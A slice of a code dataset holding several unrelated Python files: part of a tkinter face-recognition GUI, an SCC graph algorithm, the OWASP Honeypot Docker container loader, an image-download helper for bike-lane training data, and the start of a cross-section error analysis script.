command=lambda: parent.new_face(\"Введите в поле имя:\"))\r\n button_add.pack(side=\"right\", pady=5, padx=5)\r\n\r\n def show_progress_bar(self):\r\n new_recognizer_app.data_training(self)\r\n\r\n def show_time(self, times):\r\n label_time = ttk.Label(self.helping_frame, text=(\"Время тренировки: %s\" % str(times)),\r\n background=\"#333\", foreground=\"white\", font=(\"Verdana\", 8))\r\n label_time.place(x=50, y=80)\r\n self.button_photo['state'] = 'normal'\r\n self.button_video['state'] = 'normal'\r\n\r\n\r\n# ------------------------------------------------------Frame3-------------------------------------------------------- #\r\n# третье окно приложения\r\n\r\nclass Frame3(tk.Frame):\r\n\r\n def __init__(self, container, parent):\r\n tk.Frame.__init__(self, container)\r\n # рамка для разграничения пространства в окнах\r\n self.helping_frame = tk.Frame(self, relief=\"ridge\", borderwidth=1, background=\"#333\")\r\n self.helping_frame.pack(fill=\"both\", expand=1)\r\n\r\n label = ttk.Label(self.helping_frame, text=\"\"\"\r\nНажмите на кнопку \"Выбрать фото\" и выберите фотогра-\r\nфию с помощью файлового проводника(файл с форматом\r\n\".jpeg\"). После этого нажмите \"Открыть\", и распозна-\r\nвание начнётся автоматически.\r\nПримечание: важно, чтобы путь к файлу не содержал\r\nсимволов кириллицы.\"\"\",\r\n background=\"#333\", foreground=\"white\", font=LARGE_FONT)\r\n label.place(x = 5, y = 10)\r\n\r\n self.button_recognize = ttk.Button(self.helping_frame, text=\"Выбрать фото\",\r\n command=lambda: new_recognizer_app.recognize_photo(self))\r\n self.button_recognize.pack(side=\"bottom\", pady=50)\r\n\r\n # bottom buttons\r\n self.button_back = ttk.Button(self, text=\"Back\", command=lambda: parent.show_frame(Frame2))\r\n self.button_back.pack(side=\"right\", pady=5, padx=90)\r\n\r\n def status_message(self, text_string, y_extern):\r\n x_extern = 10\r\n label_status = ttk.Label(self.helping_frame, text=(\"%s\" % text_string),\r\n background=\"#333\", foreground=\"white\", font=(\"Verdana\", 8))\r\n label_status.place(x=x_extern, y=y_extern)\r\n\r\n\r\n# ------------------------------------------------------Frame4-------------------------------------------------------- #\r\n# четвёртое окно приложения\r\nclass Frame4(tk.Frame):\r\n\r\n def __init__(self, container, parent):\r\n tk.Frame.__init__(self, container)\r\n # рамка для разграничения пространства в окнах\r\n self.helping_frame = tk.Frame(self, relief=\"ridge\", borderwidth=1, background=\"#333\")\r\n self.helping_frame.pack(fill=\"both\", expand=1)\r\n\r\n label = ttk.Label(self.helping_frame, text=\"\"\"\r\nНиже выберите источник видеоизображения: web-каме-\r\nра, либо существующий видеофайл. При выборе web-ка-\r\nмеры нажмите кнопку \"Начать\", а при выборе файла -\r\nкнопку \"Выбрать\" и найдите видео с помощью файлового\r\nпроводника. После этого нажмите \"Открыть\", и распо-\r\nзнавание начнётся автоматически.\r\nПримечание: важно, чтобы путь к файлу не содержал\r\nсимволов кириллицы.\"\"\",\r\n background=\"#333\", foreground=\"white\", font=LARGE_FONT)\r\n label.place(x=5, y=10)\r\n\r\n self.button_start = ttk.Button(self.helping_frame, text=\"Начать\",\r\n command=lambda: new_recognizer_app.recognize_video(0))\r\n self.button_start.place(x=250, y=200)\r\n self.button_start['state'] = 'disabled'\r\n\r\n self.button_choose = ttk.Button(self.helping_frame, text=\"Выбрать\",\r\n command=lambda: new_recognizer_app.recognize_video(1))\r\n self.button_choose.place(x=350, y=200)\r\n self.button_choose['state'] = 'disabled'\r\n\r\n # bottom buttons\r\n button_back = ttk.Button(self, text=\"Back\", command=lambda: parent.show_frame(Frame2))\r\n button_back.pack(side=\"right\", pady=5, padx=90)\r\n\r\n items = [(\"web\", 1), (\"file\", 2)]\r\n self.var = IntVar()\r\n x = 50\r\n for item, item_num in items:\r\n Radiobutton(self.helping_frame, text=item, value=item_num, bg=\"#333\",\r\n activebackground=\"#333\", fg=\"white\", selectcolor=\"black\",\r\n variable=self.var, command=self.select).place(x=x, y=200)\r\n x = 150\r\n \r\n self.label_info = ttk.Label(self.helping_frame, background=\"#333\", foreground=\"white\")\r\n self.label_info.place(x=50, y=230)\r\n \r\n def select(self):\r\n value = self.var.get()\r\n if value == 1:\r\n self.label_info.config(text=\"Выбрана web-камера\")\r\n self.button_start['state'] = 'normal'\r\n self.button_choose['state'] = 'disabled'\r\n elif value == 2:\r\n self.label_info.config(text=\"Выбран файл\")\r\n self.button_choose['state'] = 'normal'\r\n self.button_start['state'] = 'disabled'\r\n\r\n\r\n# ------------------------------------------------Main programm------------------------------------------------------- #\r\n\r\n\r\nroot = Face_DR_GUI()\r\nnew_recognizer_app = PhotoVideoRecognizer()\r\nroot.mainloop()\r\n","sub_path":"Face_DR_v_3.3.py","file_name":"Face_DR_v_3.3.py","file_ext":"py","file_size_in_byte":31640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364737384","text":"from collections import Counter\nimport sys, threading\nsys.setrecursionlimit(800000)\nthreading.stack_size(67108864)\n\ndef main():\n\tn = 875714\n\tfh = open('SCC.txt', 'r')\n\tgraph = [[] for _ in range(n)]\n\treverse = [[] for _ in range(n)]\n\tfor line in fh:\n\t\tvertices = list(map(int, line.split()))\n\t\tgraph[vertices[0] - 1].append(vertices[1] - 1)\n\t\treverse[vertices[1] - 1].append(vertices[0] - 1)\n\n\texplored = [False] * n\n\tft = []\n\tleaders = [i for i in range(n)]\n\tdef finishingTimes(graph, ft):\n\t\tdef dfs(graph, i):\n\t\t\texplored[i] = True\n\t\t\tfor j in graph[i]:\n\t\t\t\tif not explored[j]:\n\t\t\t\t\tdfs(graph, j)\n\t\t\tft.append(i)\n\n\t\tfor i in range(n - 1, -1, -1):\n\t\t\tif not explored[i]:\n\t\t\t\tdfs(graph, i)\n\n\tdef scc(graph, ft, leaders):\n\t\tdef dfs(graph, i):\n\t\t\texplored[i] = True\n\t\t\tleaders[i] = leader\n\t\t\tfor j in graph[i]:\n\t\t\t\tif not explored[j]:\n\t\t\t\t\tdfs(graph, j)\n\n\t\tfor i in ft[::-1]:\n\t\t\tif not explored[i]:\n\t\t\t\tleader = i\n\t\t\t\tdfs(graph, i)\n\n\tfinishingTimes(reverse, ft)\n\texplored = [False] * n\n\tscc(graph, ft, leaders)\n\tcounter = dict(Counter(leaders))\n\tvalues = list(counter.values())\n\tvalues.sort()\n\tprint(values[-5:])\n\nthread = threading.Thread(target=main)\nthread.start()","sub_path":"SCC.py","file_name":"SCC.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"272125394","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport os\nimport json\nimport socket\n\nfrom core.get_modules import load_all_modules\nfrom terminable_thread import Thread\nfrom terminable_thread import threading\nfrom core.alert import info\nfrom core.alert import error\nfrom core.color import finish\nfrom core.alert import messages\nfrom core.compatible import logo\nfrom core.compatible import version\nfrom core.compatible import is_windows\nfrom config import user_configuration\nfrom config import docker_configuration\nfrom config import network_configuration\nfrom core.exit_helper import exit_success\nfrom core.exit_helper import exit_failure\nfrom core.compatible import make_tmp_thread_dir\nfrom core.get_modules import virtual_machine_names_to_container_names\nfrom core.get_modules import virtual_machine_name_to_container_name\nfrom core.network import new_network_events\nfrom core.exit_helper import terminate_thread\nfrom api.server import start_api_server\nfrom core.compatible import check_for_requirements\nfrom core.compatible import copy_dir_tree\nfrom core.compatible import mkdir\nfrom core.compatible import get_module_dir_path\nfrom database.connector import insert_bulk_events_from_thread\nfrom database.connector import insert_events_in_bulk\nfrom core.compatible import is_verbose_mode\n\n# temporary use fixed version of argparse\nif is_windows():\n if version() is 2:\n from lib.argparse.v2 import argparse\n else:\n from lib.argparse.v3 import argparse\nelse:\n import argparse\n\n# tmp dirs\ntmp_directories = []\nprocessor_threads = []\n\n\ndef all_existing_networks():\n \"\"\"\n list of all existing networks\n\n Returns:\n an array with list of all existing networks name\n \"\"\"\n return [network_name.rsplit()[1] for network_name in os.popen(\"docker network ls\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef create_ohp_networks():\n \"\"\"\n create docker internet and internal network for OWASP Honeypot\n\n Returns:\n True\n \"\"\"\n if \"ohp_internet\" not in all_existing_networks():\n info(\"creating ohp_internet network\")\n os.popen(\"docker network create ohp_internet --opt com.docker.network.bridge.enable_icc=true \"\n \"--opt com.docker.network.bridge.enable_ip_masquerade=true \"\n \"--opt com.docker.network.bridge.host_binding_ipv4=0.0.0.0 --opt \"\n \"com.docker.network.driver.mtu=1500\").read()\n network_json = json.loads(os.popen(\"docker network inspect ohp_internet\").read())[0][\"IPAM\"][\"Config\"][0]\n info(\"ohp_internet network created subnet:{0} gateway:{1}\".format(network_json[\"Subnet\"],\n network_json[\"Gateway\"]))\n if \"ohp_no_internet\" not in all_existing_networks():\n info(\"creating ohp_no_internet network\")\n os.popen(\"docker network create --attachable --internal ohp_no_internet \"\n \"--opt com.docker.network.bridge.enable_icc=true \"\n \"--opt com.docker.network.bridge.enable_ip_masquerade=true \"\n \"--opt com.docker.network.bridge.host_binding_ipv4=0.0.0.0 \"\n \"--opt com.docker.network.driver.mtu=1500\").read()\n network_json = json.loads(os.popen(\"docker network inspect ohp_no_internet\").read())[0][\"IPAM\"][\"Config\"][0]\n info(\"ohp_no_internet network created subnet:{0} gateway:{1}\".format(network_json[\"Subnet\"],\n network_json[\"Gateway\"]))\n return True\n\n\ndef remove_tmp_directories():\n \"\"\"\n remove tmp directories submitted in tmp_directories\n\n Returns:\n True\n \"\"\"\n for tmp_dir in tmp_directories:\n os.remove(tmp_dir)\n return True\n\n\ndef running_containers():\n \"\"\"\n list of running containers\n\n Returns:\n an array with list of running containers name\n \"\"\"\n return [container.rsplit()[-1] for container in os.popen(\"docker ps\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef all_existing_containers():\n \"\"\"\n list of all existing containers\n\n Returns:\n an array with list of all existing containers name\n \"\"\"\n return [container.rsplit()[-1] for container in os.popen(\"docker ps -a\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef all_existing_images():\n \"\"\"\n list of all existing images\n\n Returns:\n a array with list of all existing images name\n \"\"\"\n return [container.rsplit()[0] for container in os.popen(\"docker images\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef stop_containers(configuration):\n \"\"\"\n stop old containers based on images\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n containers_list = running_containers()\n if containers_list:\n for container in virtual_machine_names_to_container_names(configuration):\n if container in containers_list:\n info(\"killing container {0}\".format(os.popen(\"docker kill {0}\".format(container)).read().rsplit()[0]))\n return True\n\n\ndef remove_old_containers(configuration):\n \"\"\"\n remove old containers based on images\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n\n containers_list = all_existing_containers()\n for container in virtual_machine_names_to_container_names(configuration):\n if container in containers_list:\n info(\"removing container {0}\".format(os.popen(\"docker rm {0}\".format(container)).read().rsplit()[0]))\n return True\n\n\ndef get_image_name_of_selected_modules(configuration):\n \"\"\"\n get list of image name using user final configuration\n\n Args:\n configuration: user final configuration\n\n Returns:\n list of virtual machine image name\n \"\"\"\n return virtual_machine_names_to_container_names(configuration)\n\n\ndef remove_old_images(configuration):\n \"\"\"\n remove old images based on user configuration\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n for image in all_existing_images():\n if image in get_image_name_of_selected_modules(configuration):\n info(\"removing image {0}\".format(image))\n os.popen(\"docker rmi {0}\".format(image)).read()\n return True\n\n\ndef create_new_images(configuration):\n \"\"\"\n start new images based on configuration and dockerfile\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n for selected_module in configuration:\n # go to tmp folder to create Dockerfile and files dir\n tmp_dir_name = make_tmp_thread_dir()\n os.chdir(tmp_dir_name)\n # create files dir\n mkdir(\"files\")\n\n # create Dockerfile\n dockerfile = open(\"Dockerfile\", \"w\")\n dockerfile.write(configuration[selected_module][\"dockerfile\"])\n dockerfile.close()\n\n # copy files\n copy_dir_tree(configuration[selected_module][\"files\"], \"files\")\n\n # create docker image\n image_name = virtual_machine_name_to_container_name(\n configuration[selected_module][\"virtual_machine_name\"],\n selected_module\n )\n\n info(\"creating image {0}\".format(image_name))\n\n # in case if verbose mode is enabled, we will be use os.system instead of os.popen to show the outputs in case\n # of anyone want to be aware what's happening or what's the error, it's a good feature for developers as well\n # to create new modules\n if is_verbose_mode():\n os.system(\"docker build . -t {0}\".format(image_name))\n else:\n os.popen(\"docker build . -t {0}\".format(image_name)).read()\n\n # created\n info(\"image {0} created\".format(image_name))\n\n # go back to home directory\n os.chdir(\"../..\")\n\n # submit tmp dir name\n tmp_directories.append(tmp_dir_name)\n return True\n\n\ndef start_containers(configuration):\n \"\"\"\n start containers based on configuration and dockerfile\n\n Args:\n configuration: JSON container configuration\n\n Returns:\n configuration containing IP Addresses\n \"\"\"\n for selected_module in configuration:\n # get the container name to start (organizing)\n # using pattern name will help us to remove/modify the images and modules\n container_name = virtual_machine_name_to_container_name(\n configuration[selected_module][\"virtual_machine_name\"],\n selected_module\n )\n configuration[selected_module]['container_name'] = container_name\n real_machine_port = configuration[selected_module][\"real_machine_port_number\"]\n virtual_machine_port = configuration[selected_module][\"virtual_machine_port_number\"]\n # connect to owasp honeypot networks!\n # run the container with internet access\n os.popen(\n \"docker run {0} --net {4} --name={1} -d -t -p {2}:{3} {1}\".format(\n \" \".join(\n configuration[selected_module][\"extra_docker_options\"]\n ),\n container_name,\n real_machine_port,\n virtual_machine_port,\n 'ohp_internet' if configuration[selected_module][\"virtual_machine_internet_access\"]\n else 'ohp_no_internet'\n )\n ).read()\n try:\n virtual_machine_ip_address = os.popen(\n \"docker inspect -f '{{{{range.NetworkSettings.Networks}}}}\"\n \"{{{{.IPAddress}}}}{{{{end}}}}' {0}\".format(\n container_name\n )\n ).read().rsplit()[0].replace(\"\\'\", \"\") # single quotes needs to be removed in windows\n except Exception as _:\n virtual_machine_ip_address = \"CANNOT_FIND_IP_ADDRESS\"\n # add virtual machine IP Address to configuration\n configuration[selected_module][\"ip_address\"] = virtual_machine_ip_address\n # print started container information\n info(\n \"container {0} started, forwarding 0.0.0.0:{1} to {2}:{3}\".format(\n container_name,\n real_machine_port,\n virtual_machine_ip_address,\n virtual_machine_port\n )\n )\n return configuration\n\n\ndef containers_are_unhealthy(configuration):\n \"\"\"\n check if all selected module containers are up and running!\n\n :param configuration: JSON container configuration\n :return: []/[containters]\n \"\"\"\n unhealthy_containers = [configuration[selected_module]['container_name'] for selected_module in configuration]\n current_running_containers = running_containers()\n return [containter for containter in unhealthy_containers if containter not in current_running_containers]\n\n\ndef wait_until_interrupt(virtual_machine_container_reset_factory_time_seconds,\n configuration,\n new_network_events_thread):\n \"\"\"\n wait for opened threads/honeypots modules\n\n Returns:\n True\n \"\"\"\n # running_time variable will be use to check if its need to reset the container after a while\n # if virtual_machine_container_reset_factory_time_seconds < 0, it will keep containers until user interruption\n running_time = 0\n while True:\n # while True sleep until user send ctrl + c\n try:\n time.sleep(1)\n running_time += 1\n # check if running_time is equal to reset factory time\n if running_time is virtual_machine_container_reset_factory_time_seconds:\n # reset the run time\n running_time = 0\n # stop old containers (in case they are not stopped)\n stop_containers(configuration)\n # remove old containers (in case they are not updated)\n remove_old_containers(configuration)\n # start containers based on selected modules\n start_containers(configuration)\n if not new_network_events_thread.is_alive():\n return error(\"Interrupting the application because network capturing thread is not alive!\")\n if containers_are_unhealthy(configuration):\n return error(\n \"Interrupting the application because \\\"{0}\\\" container(s) is(are) not alive!\"\n .format(\n \", \".join(containers_are_unhealthy(configuration))\n )\n )\n except KeyboardInterrupt:\n # break and return for stopping and removing containers/images\n info(\"interrupted by user, please wait to stop the containers and remove the containers and images\")\n break\n return True\n\n\ndef honeypot_configuration_builder(selected_modules):\n \"\"\"\n honeypot configuration builder\n\n Args:\n selected_modules: list of selected modules\n\n Returns:\n JSON/Dict OHP configuration\n \"\"\"\n # the modules are available in lib/modules/category_name/module_name (e.g. lib/modules/ftp/weak_password\n # they will be listed based on the folder names and if \"Dockerfile\" exist!\n # the Dockerfile will be read and add into JSON configuration (dockerfile)\n honeypot_configuration = {}\n for module in selected_modules:\n # read category configuration (e.g. ftp, ssh, http, etc..), they are located in lib/modules/category/__init__.py\n # in the __init__.py every category has same function as below!\n # def category_configuration():\n # return {\n # \"virtual_machine_name\": \"ohp_sshserver\",\n # \"virtual_machine_port_number\": 22,\n # \"virtual_machine_internet_access\": False,\n # \"real_machine_port_number\": 22\n # }\n\n category_configuration = getattr(\n __import__(\n \"lib.modules.{0}\".\n format(\n module.rsplit(\"/\")[0]),\n fromlist=[\"category_configuration\"]\n ),\n \"category_configuration\"\n )\n # reading each module configuration (e.g. ftp/weak_password, etc..)\n # they are located in lib/modules/category/module_name/__init__.py\n # each module must have such a function (in case you can return {} if you don't have any configuration)\n # def module_configuration():\n # return {\n # \"username\": \"admin\",\n # \"password\": \"123456\"\n # }\n # to replace the category default port for individual modules, you have to add \"real_machine_port_number\"\n # key to module configuration to replace it.\n #\n # for instance:\n # def module_configuration():\n # return {\n # \"username\": \"admin\",\n # \"password\": \"123456\"\n # \"real_machine_port_number\": 2121\n # }\n module_configuration = getattr(\n __import__(\n \"lib.modules.{0}\".\n format(\n module.replace(\"/\", \".\")\n ), fromlist=[\"module_configuration\"]\n ),\n \"module_configuration\"\n )\n\n # combine category + module configuration into one Dict/JSON\n combined_module_configuration = category_configuration()\n combined_module_configuration.update(module_configuration())\n # dockerfile\n dockerfile = open(\n os.path.join(\n get_module_dir_path(module_configuration),\n \"Dockerfile\"\n )\n ).read()\n # based on your configuration, the variables/values will be set into your Dockerfile\n # e.g. username will be replaced by {username} in Dockerfile\n combined_module_configuration[\"dockerfile\"] = dockerfile.format(\n **combined_module_configuration\n )\n # add module files\n combined_module_configuration[\"files\"] = os.path.join(\n get_module_dir_path(\n module_configuration\n ),\n \"files\"\n )\n # combine Dockerfile configuration with module and category configuration\n honeypot_configuration[module] = combined_module_configuration\n return honeypot_configuration\n\n\ndef port_is_reserved(real_machine_port):\n \"\"\"\n check if port is reserved\n\n Args:\n real_machine_port: port number\n\n Returns:\n True or False\n \"\"\"\n try:\n tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n tcp.bind(\n (\n network_configuration()[\"real_machine_ip_address\"],\n real_machine_port\n )\n )\n tcp.close()\n return False\n except Exception as _:\n return True\n\n\ndef reserve_tcp_port(real_machine_port, module_name, configuration):\n \"\"\"\n pick a free port\n\n Args:\n real_machine_port: port number\n module_name: selected module\n configuration: fixed configuration\n\n Returns:\n port number\n \"\"\"\n while True:\n try:\n if not port_is_reserved(real_machine_port):\n unique_port = True\n configuration[module_name][\"real_machine_port_number\"] = real_machine_port\n duplicated_ports = []\n for selected_module in configuration:\n duplicated_ports.append(configuration[selected_module][\"real_machine_port_number\"])\n if duplicated_ports.count(real_machine_port) is 1:\n info(\"port {0} selected for {1}\".format(real_machine_port, module_name))\n return real_machine_port\n except Exception as _:\n del _\n real_machine_port += 1\n\n\ndef conflict_ports(configuration):\n \"\"\"\n check conflict ports in configuration\n\n Args:\n configuration: user final configuration\n\n Returns:\n new fixed configuration\n \"\"\"\n # todo: write documentation\n fixed_configuration = configuration.copy()\n for selected_module in configuration:\n port = reserve_tcp_port(\n configuration[selected_module][\"real_machine_port_number\"],\n selected_module,\n fixed_configuration\n )\n fixed_configuration[selected_module][\"real_machine_port_number\"] = port\n return fixed_configuration\n\n\ndef run_modules_processors(configuration):\n \"\"\"\n run ModuleProcessor for each modules\n\n :param configuration: user final configuration\n :return:\n \"\"\"\n for module in configuration:\n module_processor_thread = Thread(\n target=configuration[module][\"module_processor\"].processor,\n name=virtual_machine_name_to_container_name(\n configuration[module][\"virtual_machine_name\"],\n module\n )\n )\n module_processor_thread.start()\n processor_threads.append(module_processor_thread)\n return\n\n\ndef stop_modules_processors(configuration):\n \"\"\"\n run ModuleProcessor for each modules\n\n :param configuration: user final configuration\n :return:\n \"\"\"\n for module in configuration:\n configuration[module][\"module_processor\"].kill_flag = True\n\n while True:\n if True not in [\n module_processor_thread.isAlive() for module_processor_thread in processor_threads\n ]:\n break\n time.sleep(0.1)\n return\n\n\ndef argv_parser():\n \"\"\"\n parse ARGVs using argparse\n\n Returns:\n parser, parsed ARGVs\n \"\"\"\n # create parser\n parser = argparse.ArgumentParser(prog=\"OWASP Honeypot\", add_help=False)\n # create menu\n engineOpt = parser.add_argument_group(messages(\"en\", \"engine\"), messages(\"en\", \"engine_input\"))\n # add select module options + list of available modules\n engineOpt.add_argument(\"-m\", \"--select-module\", action=\"store\",\n dest=\"selected_modules\", default=user_configuration()[\"default_selected_modules\"],\n help=messages(\"en\", \"select_module\").format(load_all_modules() + [\"all\"]))\n # by default all modules are selected, in case users can exclude one or some (separated with comma)\n engineOpt.add_argument(\"-x\", \"--exclude-module\", action=\"store\",\n dest=\"excluded_modules\", default=user_configuration()[\"default_excluded_modules\"],\n help=messages(\"en\", \"exclude_module\").format(load_all_modules()))\n # limit the virtual machine storage to avoid related abuse\n engineOpt.add_argument(\"-s\", \"--vm-storage-limit\", action=\"store\",\n dest=\"virtual_machine_storage_limit\", type=float,\n default=docker_configuration()[\"virtual_machine_storage_limit\"],\n help=messages(\"en\", \"vm_storage_limit\"))\n # reset the containers once in a time to prevent being continues botnet zombie\n engineOpt.add_argument(\"-r\", \"--vm-reset-factory-time\", action=\"store\",\n dest=\"virtual_machine_container_reset_factory_time_seconds\", type=int,\n default=docker_configuration()[\"virtual_machine_container_reset_factory_time_seconds\"],\n help=messages(\"en\", \"vm_reset_factory_time\"))\n # start api\n engineOpt.add_argument(\"--start-api-server\", action=\"store_true\", dest=\"start_api_server\", default=False,\n help=\"start API server\")\n # enable verbose mode (debug mode)\n engineOpt.add_argument(\"-v\", \"--verbose\", action=\"store_true\", dest=\"verbose_mode\", default=False,\n help=\"enable verbose mode\")\n # disable color CLI\n engineOpt.add_argument(\"--disable-colors\", action=\"store_true\", dest=\"disable_colors\", default=False,\n help=\"disable colors in CLI\")\n # test CI/ETC\n engineOpt.add_argument(\"--test\", action=\"store_true\", dest=\"run_as_test\", default=False, help=\"run a test and exit\")\n # help menu\n engineOpt.add_argument(\"-h\", \"--help\", action=\"store_true\", default=False, dest=\"show_help_menu\",\n help=messages(\"en\", \"show_help_menu\"))\n return parser, parser.parse_args()\n\n\ndef load_honeypot_engine():\n \"\"\"\n load OHP Engine\n\n Returns:\n True\n \"\"\"\n # print logo\n logo()\n\n # parse argv\n parser, argv_options = argv_parser()\n\n #########################################\n # argv rules apply\n #########################################\n # check help menu\n if argv_options.show_help_menu:\n parser.print_help()\n exit_success()\n # check for requirements before start\n check_for_requirements(argv_options.start_api_server)\n # check api server flag\n if argv_options.start_api_server:\n start_api_server()\n exit_success()\n # check selected modules\n if argv_options.selected_modules:\n selected_modules = list(set(argv_options.selected_modules.rsplit(\",\")))\n if \"all\" in selected_modules:\n selected_modules = load_all_modules()\n if \"\" in selected_modules:\n selected_modules.remove(\"\")\n # if selected modules are zero\n if not len(selected_modules):\n exit_failure(messages(\"en\", \"zero_module_selected\"))\n # if module not found\n for module in selected_modules:\n if module not in load_all_modules():\n exit_failure(messages(\"en\", \"module_not_found\").format(module))\n # check excluded modules\n if argv_options.excluded_modules:\n excluded_modules = list(set(argv_options.excluded_modules.rsplit(\",\")))\n if \"all\" in excluded_modules:\n exit_failure(\"you cannot exclude all modules\")\n if \"\" in excluded_modules:\n excluded_modules.remove(\"\")\n # remove excluded modules\n for module in excluded_modules:\n if module not in load_all_modules():\n exit_failure(messages(\"en\", \"module_not_found\").format(module))\n # ignore if module not selected, it will remove anyway\n try:\n selected_modules.remove(module)\n except Exception as _:\n del _\n # if selected modules are zero\n if not len(selected_modules):\n exit_failure(messages(\"en\", \"zero_module_selected\"))\n virtual_machine_container_reset_factory_time_seconds = argv_options. \\\n virtual_machine_container_reset_factory_time_seconds\n run_as_test = argv_options.run_as_test\n #########################################\n # argv rules apply\n #########################################\n # build configuration based on selected modules\n configuration = honeypot_configuration_builder(selected_modules)\n\n info(messages(\"en\", \"honeypot_started\"))\n info(messages(\"en\", \"loading_modules\").format(\", \".join(selected_modules)))\n # check for conflict in real machine ports and pick new ports\n info(\"checking for conflicts in ports\")\n configuration = conflict_ports(configuration)\n # stop old containers (in case they are not stopped)\n stop_containers(configuration)\n # remove old containers (in case they are not updated)\n remove_old_containers(configuration)\n # remove old images (in case they are not updated)\n remove_old_images(configuration)\n # create new images based on selected modules\n create_new_images(configuration)\n # create OWASP Honeypot networks in case not exist\n create_ohp_networks()\n # start containers based on selected modules\n configuration = start_containers(configuration)\n # start network monitoring thread\n new_network_events_thread = Thread(\n target=new_network_events,\n args=(configuration,),\n name=\"new_network_events_thread\"\n )\n new_network_events_thread.start()\n info(\n \"all selected modules started: {0}\".format(\n \", \".join(\n selected_modules\n )\n )\n )\n\n bulk_events_thread = Thread(\n target=insert_bulk_events_from_thread,\n args=(),\n name=\"insert_events_in_bulk_thread\"\n )\n bulk_events_thread.start()\n\n # run module processors\n run_modules_processors(configuration)\n\n # check if it's not a test\n if not run_as_test:\n # wait forever! in case user can send ctrl + c to interrupt\n wait_until_interrupt(\n virtual_machine_container_reset_factory_time_seconds,\n configuration,\n new_network_events_thread\n )\n # kill the network events thread\n terminate_thread(new_network_events_thread)\n terminate_thread(bulk_events_thread)\n insert_events_in_bulk() # if in case any events that were not inserted from thread\n # stop created containers\n stop_containers(configuration)\n # stop module processor\n stop_modules_processors(configuration)\n # remove created containers\n remove_old_containers(configuration)\n # remove created images\n remove_old_images(configuration)\n # remove_tmp_directories() error: access denied!\n # kill all missed threads\n for thread in threading.enumerate()[1:]:\n terminate_thread(thread, False)\n info(\"finished.\")\n # reset cmd/terminal color\n finish()\n return True\n","sub_path":"core/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":27142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"531268668","text":"import requests, zipfile, io\nimport fnmatch, os\nimport shutil\nimport pandas as pd\nimport numpy as np\n\ndef download_data(cam):\n if cam == \"single\":\n zip_address = 'http://parkingdirty.com/BlockedBikeLaneTrainingSingleCam.zip'\n else:\n zip_address = 'http://parkingdirty.com/BlockedBikeLaneTrainingFull.zip'\n\n r = requests.get(zip_address)\n z = zipfile.ZipFile(io.BytesIO(r.content))\n z.extractall('object_detection/input_imgs') # extract images from zip to input_imgs folder\n\n print('data downloaded successfully')\n \n\ndef filter_data(dir_blocked, dir_notblocked, pattern):\n pattern = 'cam' + str(pattern)\n pattern = '*' + pattern + '*'\n\n blocked = fnmatch.filter(os.listdir(dir_blocked), pattern)\n notblocked = fnmatch.filter(os.listdir(dir_notblocked), pattern)\n\n files = [blocked, notblocked]\n\n return files\n\n\ndef subset_data(dir_blocked, dir_notblocked, pattern):\n pattern_path = 'object_detection/input_imgs_subset_cam' + str(pattern)\n if not os.path.exists(pattern_path):\n # shutil.rmtree('object_detection/input_imgs_subset')\n os.makedirs(pattern_path + '/blocked')\n os.makedirs(pattern_path + '/notblocked')\n\n print('subsetting the data')\n\n for f in filter_data(dir_blocked, dir_notblocked, pattern)[0]:\n shutil.copy(dir_blocked + '/' + f, pattern_path + '/blocked')\n for f in filter_data(dir_blocked, dir_notblocked, pattern)[1]:\n shutil.copy(dir_notblocked + '/' + f, pattern_path + '/notblocked') \n\n\ndef get_polygon(camera):\n\n print('getting the polygon for this bike lane')\n\n d = {'camera': ['cam31', 'cam135','cam68'],\n 'polygon': [[(202,144),(213,145),(351,221),(350,240)],\n [(158,278),(126,272),(302,115),(310,116)],\n [(220,140),(241,143),(299,53),(291,52)]]\n }\n\n df = pd.DataFrame(data=d)\n\n poly = df.polygon[df.camera == 'cam' + str(camera)].values[0]\n\n return poly \n\n\ndef load_image_into_numpy_array(image):\n (im_width, im_height) = image.size\n \n return np.array(image.getdata()).reshape((im_height, im_width, 3)).astype(np.uint8)\n \n","sub_path":"object_detection/pdod/imports.py","file_name":"imports.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"236500261","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\n\r\nfn_true = 'n2c1+_NLO_y_test_data.txt'\r\nfn_pred = 'n2c1+_NLO_pred.txt'\r\n\r\nraw_true = pd.read_csv(fn_true, header=None)\r\nNLO_true = raw_true.values\r\nNLO_true = NLO_true.astype(np.float)\r\n\r\nraw_pred = pd.read_csv(fn_pred, header=None)\r\nNLO_pred = raw_pred.values\r\nNLO_pred = NLO_pred.astype(np.float)\r\n\r\nlim = 6.6*10**(-5)\r\npercdev = (NLO_true - NLO_pred) / NLO_true\r\npercdev_2 = percdev[NLO_true > lim]\r\nN = percdev_2.shape[0]\r\none = np.int(0.6827*N)\r\ntwo = np.int(0.9545*N)\r\nthree = np.int(0.9973*N)\r\ntest_mape = np.mean(np.abs(percdev_2))\r\nprint(test_mape)\r\n\r\neval = np.abs(percdev_2)\r\neval = np.sort(eval, axis=0)\r\none_sigma = eval[one]\r\ntwo_sigma = eval[two]\r\nthree_sigma = eval[three]\r\nprint(one_sigma)\r\nprint(two_sigma)\r\nprint(three_sigma)\r\n\r\n\r\nfig=plt.figure(figsize=(10, 10))\r\nplt.plot(NLO_true, percdev, 'bo', alpha=0.35)\r\nplt.title('NLO cross-section vs. relative error for $\\chi^0_2/\\chi^+_1$', fontsize=18)\r\nplt.xlabel('$\\sigma_{NLO}$[pb]', fontsize=18)\r\nplt.ylabel('relative error 